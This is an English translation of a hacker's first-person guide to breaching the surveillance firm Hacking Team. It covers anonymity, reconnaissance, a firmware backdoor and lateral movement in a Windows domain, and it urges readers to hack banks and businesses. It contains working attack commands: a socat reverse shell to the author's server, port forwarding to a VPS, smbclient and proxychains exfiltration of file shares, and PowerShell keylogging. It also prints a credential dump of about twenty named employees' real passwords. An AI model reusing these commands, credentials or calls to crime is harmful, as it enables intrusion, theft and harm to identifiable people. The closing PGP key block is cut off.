----[ 1 - Introduction ]-------------------------------------------
Note the change in language since the last issue [1]. The
English-speaking worlds already has books, talks, guides, and all
sorts of information about hacking. There are a lot of hackers in that
world who are better than I am, but disgracefully fritter away their
knowledge working as "defence" contractors, for intelligence agencies,
protecting banks and corporations and defending the established order.
Hacker culture in the EU originated as a counterculture, but all
that's left of that origin is the aesthetic -- everything else has
been assimilated. At least they get to wear a T-shirt, dye their hair
blue, use hacker handles, and feel like rebels while they work for the
system.
There was once a time when you had to break into an office building to
exfiltrate documents [2]. You used to need a gun to rob a bank. These
days you can do it all from bed with a laptop in your hands [3][4].
Like the CNT once said about the Gamma Group hack: "we should move
forward with these new forms of struggle" [5]. Hacking is a powerful
tool. Learn it and join the fight!
[1]
http://pastebin.com/raw.php?i=cRYvK4jb
[2]
https://en.wikipedia.org/wiki/Citizens%2...te_the_FBI
[3]
http://www.aljazeera.com/news/2015/09/al...m-15092108
3914167.html
[4]
https://securelist.com/files/2015/02/Car...PT_eng.pdf
[5]
http://madrid.cnt.es/noticia/consideraci...ormatico-a-
gamma-group
----[ 2 - Hacking Team ]-------------------------------------------
Hacking Team was a company that helped governments to hack and spy
on journalists, activists, the political opposition, and other threads
to their power [1][2][3][4][5][6][7][8][9][10][11] -- as well as,
every now and then, criminals and terrorists [12]. Vincenzetti, the
CEO, liked to end his emails with the fascist slogan "boia chi molla".
He was, more precisely, a "boia chi vende RCS". All the while, he
claimed to have the technology to solve the "Tor problem" and the
"darknet problem" [13]. But since I've been able to maintain my
freedom, I have my doubts about how effective that technology is.
[1]
http://www.animalpolitico.com/2015/07/el...-politico/
[2]
http://www.prensa.com/politica/claves-en...24994.html
[3]
http://www.24-horas.mx/ecuador-espio-con...-figueroa/
[4]
https://citizenlab.org/2012/10/backdoors...f-dissent/
[5]
https://citizenlab.org/2014/02/hacking-t...urnalists/
[6]
https://citizenlab.org/2015/03/hacking-t...d-spyware/
[7]
http://focusecuador.net/2015/07/08/hacki...n-ecuador/
[8]
http://www.pri.org/stories/2015-07-08/th...e-personal
[9]
https://theintercept.com/2015/07/07/leak...countries/
[10]
http://www.wired.com/2013/06/spy-tool-so...vernments/
[11]
http://www.theregister.co.uk/2015/07/13/...etnam_apt/
[12]
http://www.ilmessaggero.it/primopiano/cr...88888.html
[13]
http://motherboard.vice.com/en_ca/read/h...e-dark-web
----[ 3 - Be careful out there ]-----------------------------------
Sadly, our world is upside-down. You get richer by doing bad things,
and get locked up for doing good things. Fortunately, thanks to the
hard work of people like those in the "Tor Project" [1], you can avoid
getting yourself locked up by following a few simple guidelines:
1) Encrypt your hard drive [2]
I assume that by the time the police come to impound your computer,
you've already made many mistakes, but an ounce of prevention is
worth a pound of cure.
2) Use a virtual machine and route all your traffic through Tor
This achieves two things. First, all of your connections are
anonymized through the Tor network. Second, keeping your personal
life and your anonymous life on different computers helps you avoid
mixing them up by accident.
You can protect yourself with Whonix [3], Tails [4], Qubes TorVM
[5], or something personalized [6]. You can find a detailed
comparison here [7].
3) (Optional) Don't connect to the Tor network directly
Tor is not a panacea. It's possible to correlate the times at which
your connected to Tor with the times during which your hacker
handle is active. There have also been attacks using the Tor exit
node [8]. You can connect to the network using other people's wifi.
Wifislax [9] is a linux distro with many tools for procuring wifi.
Another option is to connect to a VPN or a bridge node [10] before
connecting to Tor, but this is less secure because it is possible
to correlate the hacker's activity with the internet activity
coming from your house (this was used as evidence against Jeremy
Hammond, for example [11]).
The reality is that while Tor is not perfect, it works well enough.
When I was young and reckless, I did a lot of things without any
protection (I'm talking about hacking, here) apart from Tor, and
which the police were still incapable of investigating, and I never
had any problems.
[1]
https://www.torproject.org/
[2]
https://info.securityinabox.org/es/chapter-4
[3]
https://www.whonix.org/
[4]
https://tails.boum.org/
[5]
https://www.qubes-os.org/doc/privacy/torvm/
[6]
https://trac.torproject.org/projects/tor...arentProxy
[7]
https://www.whonix.org/wiki/Comparison_with_Others
[8]
https://blog.torproject.org/blog/tor-sec...on-attack/
[9]
http://www.wifislax.com/
[10]
https://www.torproject.org/docs/bridges.html.en
[11]
http://www.documentcloud.org/documents/1...chaos.html
----[ 3.1 - Infrastructure ]---------------------------------------
I don't hack directly from the Tor exit nodes. They're on blacklists,
go very slowly, and cannot receive reverse connections. Tor serves to
protect my anonymity while I connect to the infrastructure I use for
hacking, which consists of:
1) Domain names
to give directions to command and control (C&C), and for setting up
DNS tunnels for secure exfiltration.
2) Stable server
to serve as C&C servers for receiving reverse shells, as a place to
launch attacks from, and a place to stash the loot.
3) Hacked servers
these serve as pivots behind which I hide the IP addresses of
stables servers, and for when I want a quick connection without
a pivot -- for portscanning, for example, or scanning the entire
internet, or downloading a database through sql injection, etc.
Obviously you have pay anonymously, with bitcoin, for exaple (if you
use it carefully).
----[ 3.2 - Accountability ]----------------------------------------
In the news we often see attacks attributed to groups of governmental
hackers ('APTs'), because they always use the same tools, leave the
same footprints, and even use the same infrastructure (domains,
emails, etc.). They're negligent because they free to hack without any
legal consequences.
I didn't want to make it too easy for the police to link what I did to
Hacking Team, with its hacks and handles, with my day-to-day work
as a blackhat hacker. So I used new servers and domains, registered
with new email accounts, and payed with new bitcoin. And I only used
tools which were either publically available, or which I had written
specifically for this attack, and I changed my style of doing things
so as to not leave my usual forensic footprint.
----[ 4 - Gathering information ]----------------------------------
Though it might be tedious, this step is very important, since the
larger the attack surface, the easier it will be to find a weakness
in it, somewhere.
----[ 4.1 - Technical Information ]--------------------------------
Some of the tools and techniques include:
1) Google
You can find a lot of unexpected things with a couple well-chosen
search queries. The identity of DPR, for example [1]. The bible on
how to use google for hacking is the book, "Google Hacking for
Penetration Testers" [2].
2) Enumeration of subdomains
A business's main domain is usually supplied by a third party, and
you're going to find a range of IP addresses belonging to
subdomains like mx.company.com, ns1.company.com, etc. And sometimes
there are things in 'hidden' subdomains that should not be exposed.
Tools useful for discovering domains are subdomains include fierce
[3], theHarvester [4], and recon-ng [5].
3) Whois queries and inverse queries
With an inverse query using a domain's whois information or a
business's IP range, you can find other domains and IP ranges
belonging to them. As far as I know, there's no free way of making
inverse whois queries, except for a google 'hack':
"via della moscova 13" site:www.findip-address.com
"via della moscova 13" site:domaintools.com
4) Portscanning and fingerprinting
Apart from the other techniques, you can talk to the business's
employees. I include it in this section because it isn't an attack,
just a means of obtaining information. The business's IDS might
generate an alert upon detecting a portscan, but you don't have to
worry about that. The entire internet is scanning itself
constantly.
For scanning, nmap [6] is precise, and can fingerprint most of the
services it discovers. For businesses with large IP ranges, zmap
[7] or masscan [8] are fast. WhatWeb [9] and BlindElephant [10] can
fingerprint websites.
[1]
http://www.nytimes.com/2015/12/27/busine...-road.html
[2]
http://web.archive.org/web/2014061008372...google.pdf
[3]
http://ha.ckers.org/fierce/
[4]
https://github.com/laramies/theHarvester
[5]
https://bitbucket.org/LaNMaSteR53/recon-ng
[6]
https://nmap.org/
[7]
https://zmap.io/
[8]
https://github.com/robertdavidgraham/masscan
[9]
http://www.morningstarsecurity.com/research/whatweb
[10]
http://blindelephant.sourceforge.net/
----[ 4.2 - Social information ]-------------------------------------
For social engineering, it's very useful to gather information about
the employees, their roles, contract information, operating system,
nagivator, plugins, software, etc. Some resources include:
1) Google
Here's the most useful tool, again.
2) theHarvester y recon-ng
I've mentioned these already in the last section, but they have
much more functionality. You can find a lot of information quickly
and automatically. It's worth the trouble to read all the
documentation.
3) LinkedIn
You can find a lot of information about the employees here. The
businesses' recruiters will be the ones most inclined to talk.
4) Data.com
Previously known as jigsaw. They have contact information for many
employees.
5) File metadata
You can find a lot of information about employees and their system
in the metadata of files that the business has published. Some
handy tools for finding files on a business's website and
extracting metadata are metagoofil [1] and FOCA [2].
[1]
https://github.com/laramies/metagoofil
[2]
https://www.elevenpaths.com/es/labstools...index.html
----[ 5 - Entering the Network ]-------------------------------------
There are various ways to make an entrance. Since the method used for
Hacking Team is less common and more trouble than is ordinarily
necessary, I'm going to talk a bit about more common methods, which I
recommend attempting first.
----[ 5.1 - Social engineering ]-------------------------------------
Social engineering, and specifically spear phishing, is responsible
for the majority of hacks these days. For an introduction in Spanish,
see [1]. For more information in English, see [2] (the third part,
"Targeted Attacks"). For entertaining anecdotes about social
engineering in the past, see [3]. I didn't want to try spear phishing
against Hacking Team, since their business is in helping
governments spear phish their opposition. There was therefore a much
greater risk of Hacking Team recognizing and investigating said
attempts.
[1]
http://www.hacknbytes.com/2016/01/apt-pe...mpire.html
[2]
http://blog.cobaltstrike.com/2015/09/30/...and-notes/
[3]
http://www.netcomunity.com/lestertheteac...ocial1.pdf
----[ 5.2 - Buying access ]------------------------------------------
Thanks to the hardworking Russians and their exploit kits, traffic
trafickers, and bot farms, many businesses already have compromised
machines in their network. Almost all of the Fortune 500, with their
enormous networks, have a few bots on the inside. That said, Hacking
Team is a very small business, most of whose employees are experts in
information security, and so there was very little probability that
they had already been compromised.
----[ 5.3 - Technical exploitation ]---------------------------------
After the Gamma Group hack, I discovered a process for searching for
vulnerabilities [1]. Hacking Team has the public IP range:
inetnum: 93.62.139.32 - 93.62.139.47
descr: HT public subnet
Hacking Team had a small exposure to the internet. For example, unlike
the Gamma Group, their public-facing site required the client to have
a certificate in order to connect. It contained a main website (a
Joomla blog, for which Joomscan [2] revealed no serious
vulnerabilities), a mail server, a couple of routers, two VPN systems,
and a spam-filtering system. And so I had three options: to try to
find a 0day in Joomla, a 0day in postfix, or a 0day in one of the
embedded systems. A 0day in an embedded system seemed to me to be the
most tenable option, and after about two weeks of reverse engineering,
I discovered a remote root exploit. Since the vulnerabilities it
relies on haven't yet been patched, I'm not going to give any more
details on it. For more information on how to search for this type of
vulnerability, see [3] and [4].
[1]
http://pastebin.com/raw.php?i=cRYvK4jb
[2]
http://sourceforge.net/projects/joomscan/
[3]
http://www.devttys0.com/
[4]
https://docs.google.com/presentation/d/1...z9zzHpon8A
----[ 6 - Be prepared ]----------------------------------------------
I did a lot of work and testing before using the exploit against
Hacking Team. I wrote a firmware with a backdoor, and compiled various
post-exploitation tools for the embedded system. The backdoor served
to protect the exploit. Using the exploit just once and then returning
thorugh the back door made the work of discovering and patching
vulnerabilities more difficult.
The post-exploitation tools I had prepared were:
1) busybox
for all the common Unix utilities that the system didn't have.
2) nmap
for scanning and fingerprinting Hacking Team's internal network.
3) Responder.py
the most useful tool for attacking Windows when you have access to
the internal network but don't have a user account.
4) Python
for executing Responder.py.
5) tcpdump
for sniffing traffic.
6) dsniff
for snooping passwords from vulnerable protocols like ftp, and for
arpspoofing. I'd rather have used ettercap, writen by Hacking
Team's own ALoR and NaGA, but it was difficult to compile for the
system.
7) socat
for a handy pty shell:
my_server: socat file: `tty`, raw, echo=0, tcp-listen:mi_port
hacked_system: socat exec:'bash -li',pty,stderr,setsid,sigint,\
sane tcp:my_server:my_port
And for many other things. It's a network swiss army knife. See the
examples section of its documentation.
8) screen
like socat's pty, not strictly necessary, but I wanted to feel at
home in Hacking Team's network.
9) a SOCKS proxy server
to use together with proxychains for accessing the internal network
with this or that other programme.
10) tgcd
for forwarding ports, like those of the SOCKS server, through the
firewall.
[1]
https://www.busybox.net/
[2]
https://nmap.org/
[3]
https://github.com/SpiderLabs/Responder
[4]
https://github.com/bendmorris/static-python
[5]
http://www.tcpdump.org/
[6]
http://www.monkey.org/~dugsong/dsniff/
[7]
http://www.dest-unreach.org/socat/
[8]
https://www.gnu.org/software/screen/
[9]
http://average-coder.blogspot.com/2011/0...-in-c.html
[10]
http://tgcd.sourceforge.net/
The worst thing that could happen would be that my backdoor or
post-exploit tools would make the system unstable, and force an
employee to investigate. So I spent a week testing my exploit,
backdoor, and post-exploit tools in the networks of other vulnerable
businesses before entering Hacking Team network.
----[ 7 - Watch and listen ]----------------------------------------
Now that I was inside the internal network, I wanted to take a look
around and think about my next step. Switching Responder.py to
analysis mode (-A, to listen without sending poisoned responses), and
performed a slow scan with nmap.
----[ 8 - NoSQL databases ]-----------------------------------------
NoSQL, or rather NoAuthentication, has been a great gift to the hacker
community [1]. Just when I was worrying that all MySQL's sins of
omission had finally been patched [2][3][4][5], these new databases
appear, lacking authentication by design. Nmap found a few in Hacking
Team's internal network:
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
...
|_ version = 2.6.5
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
...
|_ version = 2.6.5
These were databases for RCS test instances. The audio that RCS
captures is held in a MongoDB with GridFS. This is where the audio
folder in the torrent [6] came from. They had inadvertantly spied on
themselves.
[1]
https://www.shodan.io/search?query=product%3Amongodb
[2]
https://community.rapid7.com/community/m...w-in-mysql
[3]
http://archives.neohapsis.com/archives/v.../0001.html
[4]
http://downloads.securityfocus.com/vulne...ie_mysql.c
[5]
http://archives.neohapsis.com/archives/b.../0053.html
[6]
https://ht.transparencytoolkit.org/audio/
----[ 9 - Crossed wires ]-------------------------------------------
As fun as it was to listen to captures and watch webcam images of
Hacking Team developing its malware, it wasn't very useful. Their
insecure security backups were the vulnerability that threw the doors
open. According to the documentation [1], their iSCSI systems should
have been on a separate network, but nmap count a few of them in their
192.168.1.200/24 subnet:
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required
Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required
iSCSI requires a kernel module, and it would have been difficult to
compile it for the embedded system. I forwarded the port so that I
could mount it from a VPS:
VPS: tgcd -L -p 3260 -q 42838
Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
iSCSI now finds the name iqn.2000-01.com.synology, but has some
problems mounting it since it now believes that its address is both
192.168.200.72 and 127.0.0.1.
The to solve this is:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
and then:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
...and the archive system appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
and find secure backups of various virtual machines. The Exchange
server seems like the most interesting. It's too big to download, but
we can mount it remotely and search for interesting archives:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
entonces el offset es 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
and now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14
172311 we find the hard drive of the virtual machine, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
...and, finally, we have gotten to the centre of the matryoshka doll
and we can see all of the archives of the old Exchange server on
/mnt/part1.
[1]
https://ht.transparencytoolkit.org/FileS...eam/Infras
trutturaIT/Rete/infrastruttura%20ht.pdf
----[10 - From secure backups to domain admin ]---------------------
What interested me most in the secure backup was trying to find a
password or hash that I could use to access the actual server. I used
pwdump, cachedump, and lsadump [1] with the registry backups. lsdadump
found a password for the besadmin service account:
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........
I used proxychains [2] with the socks server in the embedded system
and smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
It worked! The besadmin password was still valid, and was a local
admin. I used my proxy and metasploit's psexec_psh [4] to gain a
meterpreter session. I migrated to a 64-bit process, "load kiwi [5],
and "creds_wdigest", and by now had a number of passwords, including
the domain admin's:
HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <---- look! the sysadmin!
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&2E
HACKINGTEAM e.rabe erab@4HT!
[1]
https://github.com/Neohapsis/creddump7
[2]
http://proxychains.sourceforge.net/
[3]
https://www.samba.org/
[4]
http://ns2.elhacker.net/timofonica/manua...eashed.pdf
[5]
https://github.com/gentilkiwi/mimikatz
----[ 11 - Downloading the mail ]-----------------------------------
Now that I had the password to the domain's admin, I had access to the
email, the hard of the business. Since every password I used raised
the risk of being detected, I download the emails before going on to
explore them. Powershell makes this easy [1]. Curiously, I found a bug
in the way that dates were handled. After obtaining the emails, I
waited a couple of weeks before getting the source code and all the
rest, returning once in a while to download new emails. The server was
Italian, with dates in the format day/month/year. I used:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
with New-MailboxExportRequest to download the new mails (in this case
all the mails from June 5th onward). The problem was that it said that
the date is invalid if the day is greater than 12 (imagine that this
is because the month is usually put first in the EU, and the month
can't be greater than 12). It seems that the engineers at Microsoft
had only tested their software on their own regional configuration.
[1]
http://www.stevieg.org/2010/07/using-the...ts-to-pst/
----[ 12 - Downloading archives ]-----------------------------------
Now that I was the domain's admin, I started downloading the shared
resources using my proxy and smbclient's -Tc option. For example:
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
-U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
This is where the Amministrazione, FAE DiskStation, and FileServer
folders in the torrent came from.
----[ 13 - Introduction to hacking a Windows domain ]---------------
I'd like to take a break from the story of these fuckers [weones
culiaos], to share a bit of knowledge about attacking Windows
networks.
----[ 13.1 - Lateral movement ]-------------------------------------
I'm going to give a quick review of the techniques used for spreading
out inside a Windows network. The techniques for remote execution
require a local administrator's password or hash to work. Often, the
most common way of obtaining these credentials is to use mimikatz [1],
and above all sekurlsa::logonpasswords and sekurlsa::msv, from the
machines you already have administrative access to. The techniques for
moving around "in situ" also require administrative privileges (except
for runas). The most important tools for
privilege escalation are PowerUp [2], and bypassuac [3].
[1]
https://adsecurity.org/?page_id=1821
[2]
https://github.com/PowerShellEmpire/Powe...er/PowerUp
[3]
https://github.com/PowerShellEmpire/Empi...assUAC.ps1
Remote navigation:
1) psexec
The tried and tested way of navigating Windows networks. You can
use psexec [1], winexe [2], metasploit's psexec_psh [3], powershell
empire's invoke_psexec [4], or the Windows command "sc" [5]. For
the metasploit module, powershell empire, and pth-winexe [6], it's
enough to know the hash without knowing the password. This is the
most universal way (it works on any computer with port 445 open),
but it is also the least cautious. Events of type 7045 "Service
Control Manager" will appear in the registry. In my experience,
this has never tipped anyone off during a hack, but it's something
they might notice afterwards, and it might help the investigators
figure out what the hacker was doing.
2) WMI
The most cautious method. The WMI service is enabled on all Windows
computers, except for servers, where the firewall blocks it by
default. You can use wmiexec.py [7], pth-wmis [6] (you can find a
demo of wmiexec and pth-wmis here [8]), powershell empires's
invoke_wmi, or the Windows command, wmic [5]. Aside from wmic, the
rest of these require only the hash.
3) PSRemoting [10]
This is disabled by default, and I don't advise enabling new
protocols unless you have you. But if the sysadmin has already
enabled it, it's very convenient, especially if you use powershell
for everything (and yes, you should use powershell for almost
everything; this may change [11] with powershell 5 and Windows 10,
but right now powershell makes it easy to do everything in RAM,
dodge the antivirus, and leave few footprints).
4) Programmed tasks
You can execute programmes remotely with at and schtasks [5]. They
work in the same situations as psexec, and likewise leave some
known footprints [12].
5) GPO
If all of those protocols are disabled or blocked by the firewall,
once you are the administrator of the domain, you can use GPO to
give it a logon script, install an msi, execute a programmed task
[13], or as we will see with computer of Mauro Romeo (Hacking
Team's sysadmin), enable WMI and open the firewall through GPO.
[1]
https://technet.microsoft.com/en-us/sysi...sexec.aspx
[2]
https://sourceforge.net/projects/winexe/
[3]
https://www.rapid7.com/db/modules/exploi...psexec_psh
[4]
http://www.powershellempire.com/?page_id=523
[5]
http://blog.cobaltstrike.com/2014/04/30/...gh-latency-
cc/
[6]
https://github.com/byt3bl33d3r/pth-toolkit
[7]
https://github.com/CoreSecurity/impacket...wmiexec.py
[8]
https://www.trustedsec.com/june-2015/no_psexec_needed/
[9]
http://www.powershellempire.com/?page_id=124
[10]
http://www.maquinasvirtuales.eu/ejecucio...owershell/
[11]
https://adsecurity.org/?p=2277
[12]
https://www.secureworks.com/blog/where-y...-7-systems
[13]
https://github.com/PowerShellEmpire/Empi...te_task.py
Navigation 'in situ':
1) Impersonating tokens
Once you have administrative access to a computer, you can use
other users' tokens to access the domain's resources. Two tools for
doing this are incognito [1] and the token::* commands in mimikatz
[2].
2) MS14-068
You can take advantage of a validation vulnerability in Kerberos to
generate a domain administrator ticket [3][4][5].
3) Pass the Hash
If you have your has but the user does not have an active session,
you can use sekurlsa:pth [2] to obtain a user ticket.
4) Process injection
Any RAT can be injected into another process -- the migrate command
in meterpreter and pupy [6], for example, or psinject [7] in
powershell empire. You can inject the process that has the token
that you want.
5) runas
This sometimes turns out to be very useful because it doesn't
require admin privileges. The command is part of Windows, but if
you dont' have the graphical interface, you can use powershell
[8].
[1]
https://www.indetectables.net/viewtopic.php?p=211165
[2]
https://adsecurity.org/?page_id=1821
[3]
https://github.com/bidord/pykek
[4]
https://adsecurity.org/?p=676
[5]
http://www.hackplayers.com/2014/12/CVE-2...admin.html
[6]
https://github.com/n1nj4sec/pupy
[7]
http://www.powershellempire.com/?page_id=273
[8]
https://github.com/FuzzySecurity/PowerSh...-Runas.ps1
----[ 13.2 - Persistence ]------------------------------------------
Once you have gained access, you want to maintain it. Persistence is
really only a challenge for sons of bitches [hijos de puta] like the
ones in Hacking Team, who want to hack activists or other individuals.
When you're hacking businesses, you don't need persistence because the
business never sleeps. The only 'persistence' I use is in duqu 2's
sense, executing in the RAM of a couple of servers with high rates of
uptime. In the hypothetical case that everything is reset at once, I
have passwords and a golden ticket [1] set aside. You can read more
information about persistence mechanisms for Windows here [2][3][4].
But for hacking businesses, you don't need it, and it raises the risk
of detection.
[1]
http://blog.cobaltstrike.com/2014/05/14/...n-golden-t
icket-howto/
[2]
http://www.harmj0y.net/blog/empire/nothi...nce-with-e
mpire/
[3]
http://www.hexacorn.com/blog/category/au...rsistence/
[4]
https://blog.netspi.com/tag/persistence/
----[ 13.3 - Internal reconnaissance ]------------------------------
The best tool these days for understanding Windows networks is
Powerview [1]. It's worth the trouble to read everything by the author
[2], and above all [3], [4], [5], and [6]. Powershell is, again, very
powerful [7]. But since there are still many 2003 and 2000 servers
without powershell, you should also look the old school way [8], with
tools like netview.exe [9] or the windows "new view" command. Other
techniques that I like are:
1) Download a list archive numbers
With the domain administrator account, you can download all the
archive numbers in the network with powerview:
Inqvoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1]
| select fullname | out-file -append files.txt}
You can then read it at your leisure later on, and choose the ones
that you want to download.
2) Read emails
As we have already seen, you can download emails with powershell,
and obtain a lot of useful information.
3) Read sharepoint
This is another place where many businesses have important
information. You can download it with powershell [10].
4) Active Directory [11]
It holds a lot of useful information about users and computers.
Without being the domain admin, you can already find a great deal
of information with powerview and other tools [12]. After becoming
the domain admin, you should export all the information from AD
using csvde or some other tools.
5) Spy on the employees
One of my favourite passtimes is stalk the sysadmins. By spying on
Christian Pozzi (Hacking Team's sysadmin), I gained access to the
Nagios server, which gave me access to the 'rete sviluppo' (the
development network with the RCS source code). With a simple
combination of PowerSploit's Get-Keystrokes and Get-TimedScreenshot
[13], nishang's Do-Exfiltration, and GPO, I could spy on any
employee I wanted, or even the entire domain.
[1]
https://github.com/PowerShellEmpire/Powe.../PowerView
[2]
http://www.harmj0y.net/blog/tag/powerview/
[3]
http://www.harmj0y.net/blog/powershell/v...age-guide/
[4]
http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5]
http://www.harmj0y.net/blog/penetesting/...sysadmins/
[6]
http://www.slideshare.net/harmj0y/i-have-the-powerview
[7]
https://adsecurity.org/?p=2535
[8]
https://www.youtube.com/watch?v=rpwrKhgMd7E
[9]
https://github.com/mubix/netview
[10]
https://blogs.msdn.microsoft.com/rcormie...harepoint/
[11]
https://adsecurity.org/?page_id=41
[12]
http://www.darkoperator.com/?tag=Active+Directory
[13]
https://github.com/PowerShellMafia/PowerSploit
[14]
https://github.com/samratashok/nishang
----[ 14 - Stalking sysadmins ]-------------------------------------
Reading the infrastructure's documentation [1], I learned that I still
lacked access to something important -- the 'Rete Sviluppo', an
isolated network that held the source code of RCS. The sysadmins of a
business always have access to everything. I searched through Mauro
Romeo and Christian Pozzi's computers to see how they accessed the
rete sviluppo, and to see if they had other interesting systems that I
should investigate. It was easy to access their computers, since they
were part of the Windows domain that I had adminstrative control over.
Muro Romeo's computer didn't have an open port, so I opened the WMI
port [2] so that I could execute meterpreter [3]. Besides collecting
keystrokes and screencaps with Get-Keystrokes and Get-TimedScreenshot,
I used a lot of metasploit's /gather/ modules, CredMan.ps1 [4], and I
searched the archives [5]. I saw that Pozzi had a Truecrypt volume,
and waited for him to mount it so that I could copy an archive of it.
A lot of people have had a good laugh at Christian Pozzi's weak
passwords (and at Christian Pozzi in general, who offered plenty of
material for comedy [6][7][8][9]). I included them in the dump for a
laugh, and to show how clueless he is. The reality is that mimikatz
and keyloggers got all the passwords as well.
[1]
http://hacking.technology/Hacked%20Team/...rutturaIT/
[2]
http://www.hammer-software.com/wmigphowto.shtml
[3]
https://www.trustedsec.com/june-2015/no_psexec_needed/
[4]
https://gallery.technet.microsoft.com/sc...s-d44c3cde
[5]
http://pwnwiki.io/#!presence/windows/find_files.md
[6]
http://archive.is/TbaPy
[7]
http://hacking.technology/Hacked%20Team/...reenshots/
[8]
http://hacking.technology/Hacked%20Team/...op/you.txt
[9]
http://hacking.technology/Hacked%20Team/...edentials/
----[ 15 - The bridge ]---------------------------------------------
Inside Christian Pozzi's encrypted volume, there was a textfile with a
number of passwords [1]. One of those was for a Fully Automated Nagios
server, which had access to the sviluppo network so that it could
monitor it. I had found the bridge. I only had the password for the
web interface, but I had a public exploit [2] to execute code and
obtain a shell (it's an unauthenticated exploit, but needs a user to
have already initiated a session, using one of the passwords in the
textfile).
[1]
http://hacking.technology/Hacked%20Team/...n%20HT.txt
[2]
http://seclists.org/fulldisclosure/2014/Oct/78
----[ 16 - Reusing and resetting passwords ]------------------------
Reading the emails, I saw Daniele Milan granting access to the git
repositories. I already had his Windows password, thanks to mimikatz.
I tried it on the git server, and it worked. I tried it with sudo, and
it worked. For the gitlab server, and his twitter account, I used the
'I forgot my password' function, and accessed the mail server to reset
the password.
----[ 17 - Conclusion ]---------------------------------------------
That's it. It's that easy to overthrow an enterprise and put a stop
its human rights abuses. That is the beauty and the asymmetry of
hacking: with just one hundred hours of work, one person can undo
years of work by a multi-million-dollar enterprise. Hacking gives us
the dispossessed the ability to fight and win.
Hacking guides usually end with a warning: This information is solely
for educational purposes. Be an ethical hacker. Do not attack
computers without permission. Blah, blah, blah. I'm going to say the
same thing, but with a more rebellious conception of 'ethical'
hacking. Ethical hacking means exfiltrating documents, expropriating
money from the banks, and protecting the computers of the common
people. However, most of the people who call themselves 'ethical
hackers' work only to protect the ones that pay their consulting fees,
and so they usually end up being mercenaries more than hackers.
Hacking Team saw themselves as belonging to a long line of inspired
Italian design [1]. I see Vincenzetti, his business, and his friends
in politics, in the police, and in government, as belonging to a long
tradition of Italian fascism. I want to dedicate this guide to the
victims of the assault on the Armando Diaz school, and to all those
whose blood has been spilled at the hands of Italian fascism.
[1]
https://twitter.com/coracurrier/status/6...3263090688
----[ 18 - Contact ]------------------------------------------------
To send me spearphishing attempts, write me death threats in Italian
[1][2], and send me 0days granting access banks, corporations,
governments, etc.
[1]
http://andres.delgado.ec/2016/01/15/el-m...igilantes/
[2]
https://twitter.com/CthulhuSec/status/61...2854977537
encrypted emails only, please:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
